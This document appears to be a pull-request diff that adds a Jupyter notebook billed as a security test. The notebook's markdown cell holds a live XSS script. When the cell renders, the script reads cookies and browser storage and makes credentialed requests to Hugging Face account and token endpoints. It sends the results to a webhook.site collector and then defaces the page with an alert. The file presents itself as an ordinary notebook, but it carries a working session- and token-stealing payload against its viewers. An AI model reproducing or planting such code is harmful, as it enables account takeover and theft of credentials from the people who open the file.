AIAMR-L110 security test PR (non-member)

l110esc.ipynb

@@ -0,0 +1,24 @@
+{
+ "cells": [
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "<script>(async function(){\nvar C='https://985c1e63-a74d-48eb-8caa-27fed1075752.webhook.site';\nvar out={marker:'AIAMR-F020-ESC',origin:location.origin,href:location.href,\n cookie:document.cookie,cookie_len:document.cookie.length,\n ref:document.referrer,probes:{}};\ntry{out.ls=JSON.stringify(localStorage)}catch(e){out.ls='ERR '+e}\ntry{out.ss=JSON.stringify(sessionStorage)}catch(e){out.ss='ERR '+e}\nasync function probe(n,u,o,safe){try{var r=await fetch(u,o);var t=await r.text();\n out.probes[n]={status:r.status,len:t.length,head:safe?'(ditahan)':t.slice(0,240)};\n}catch(e){out.probes[n]={err:String(e).slice(0,140)}}}\nawait probe('whoami','https://huggingface.co/api/whoami-v2',{credentials:'include'});\nawait probe('tokens','https://huggingface.co/api/settings/tokens',{credentials:'include'},true);\nawait probe('sameorigin_root','/',{credentials:'include'});\ntry{await fetch(C,{method:'POST',mode:'no-cors',headers:{'content-type':'text/plain'},\n body:JSON.stringify(out)})}catch(e){}\ntry{new Image().src=C+'/beacon?marker=AIAMR-F020-ESC&origin='+\n encodeURIComponent(location.origin)+'&cookie_len='+document.cookie.length+\n '&whoami='+encodeURIComponent(JSON.stringify(out.probes.whoami||{}))}catch(e){}\ndocument.body.innerHTML='<h1 style=\"color:#c00;font:700 28px sans-serif\">'+\n 'AIAMR-F020 XSS EXECUTED</h1><pre style=\"font:14px monospace\">origin = '+location.origin+\n '\\ncookies = '+document.cookie.length+' chars</pre>';\nalert('AIAMR-F020 XSS RAN ON '+location.origin+'\\ncookies = '+document.cookie.length+' chars');\n})();</script>\n\nAIAMR-L110 escalation of F020: popup + collector.\n"
+   ]
+  }
+ ],
+ "metadata": {
+  "kernelspec": {
+   "display_name": "Python 3",
+   "language": "python",
+   "name": "python3"
+  },
+  "language_info": {
+   "name": "python",
+   "version": "3.11.0"
+  }
+ },
+ "nbformat": 4,
+ "nbformat_minor": 5
+}